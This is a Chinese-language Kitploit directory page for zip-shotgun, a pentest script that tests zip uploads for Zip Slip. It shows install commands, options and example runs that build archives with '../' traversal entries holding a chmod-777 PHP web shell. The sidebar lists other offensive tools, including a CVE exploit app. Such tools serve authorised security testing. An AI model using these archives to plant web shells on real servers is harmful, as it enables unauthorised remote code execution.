Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
zip-shotgun — 用于测试zip文件上传功能(以及可能的zip文件提取)是否存在漏洞(即Zip Slip)的实用脚本 | Kitploit
工具/GitHubGitHub/jpiechowka/zip-shotgun
Payload生成漏洞分析Web应用程序漏洞利用渗透测试
GitHubjpiechowka/zip-shotgun

zip-shotgun

用于测试zip文件上传功能(以及可能的zip文件提取)是否存在漏洞(即Zip Slip)的实用脚本

查看仓库
3251087年前Kitploit 审核通过
分享

ZIP Shotgun

用于测试 zip 文件上传功能(以及可能的 zip 文件提取)是否存在漏洞(即 Zip Slip)的实用脚本。 该脚本的思路来自 Silent Signal Techblog - 压缩文件上传与命令执行 以及 OWASP - 测试恶意文件上传

Snyk.io 有一份关于此漏洞的报告:Zip Slip 漏洞,以及一个包含多种语言存在漏洞的库的 GitHub 仓库:Snyk.io Zip Slip GitHub 仓库

还有来自 LiveOverflow 的一个精彩视频,对 Zip Slip 和 Zipperdown 漏洞进行了阐述:危险 .zip 漏洞?— Zip Slip 与 ZipperDown

此脚本会创建一个包含文件名中带有“../”的归档文件。解压时,这些文件可能会被提取到上级目录。 这可能允许攻击者将 Web Shell 提取到可通过浏览器访问的目录中。

默认的 Web Shell 是 wwwolf 的 PHP Web Shell,所有功劳归 WhiteWinterWolf。源代码可在此处获取。

安装

  1. 使用 Python pip 安装(需要 Python 3)

    pip3 install zip-shotgun --upgrade

  2. 克隆 Git 仓库并安装

    git clone https://github.com/jpiechowka/zip-shotgun.git

    从克隆仓库的根目录执行(即 setup.py 文件所在位置)

    pip3 install . --upgrade

用法与选项

用法: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

选项:
  --version                       显示版本并退出。
  -c, --directories-count INTEGER
                                  设置 zip 文件中回溯目录的层数(例如 3 表示 zip 中将添加 3 个文件:shell.php、../shell.php 和 ../../shell.php,其中 shell.php 是您提供的 Shell 名称或随机生成的值)
                                  [默认值: 16]
  -n, --shell-name TEXT           生成的 zip 文件中 Shell 的名称(例如 shell)。如果未提供,将随机生成。不能包含空格。
  -f, --shell-file-path PATH      包含 Shell 代码的文件。如果未提供此选项,将添加 wwwolf (https://github.com/WhiteWinterWolf/wwwolf-php-webshell) 的 PHP Shell。如果提供了名称,则将以其添加至 zip;若未提供,则名称随机生成。
  --compress                      启用压缩。如果设置此标志,归档将使用 DEFLATE 算法以压缩级别 9 进行压缩。默认不进行压缩。
  -h, --help                      显示此消息并退出。

示例

  1. 使用所有默认选项

    zip-shotgun archive.zip

    脚本输出的一部分

    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
    ...
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
    
  2. 使用默认选项并启用归档压缩

    zip-shotgun --compress archive.zip

    脚本输出的一部分

    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    ...
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
    
  3. 使用默认选项但将归档中的回溯目录层数改为 3

    zip-shotgun --directories-count 3 archive.zip

    zip-shotgun -c 3 archive.zip

    脚本将在归档中总共写入 3 个文件

    脚本输出的一部分

    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
    
  4. 使用默认选项但提供归档内的 Shell 名称并启用压缩

    Shell 名称不能包含空格

    zip-shotgun --shell-name custom-name --compress archive.zip

    zip-shotgun -n custom-name --compress archive.zip

    归档内 Shell 文件的名称将被设置为用户提供的值。

    脚本输出的一部分

    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../../custom-name.php
    ...
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL
    
  5. 提供自定义 Shell 文件但使用随机名称保存在归档内。设置目录回溯数为 3

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    708
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    500
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    398
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    341
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    259
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    257

探索所有工具

浏览我们的工具集合

查看所有工具 →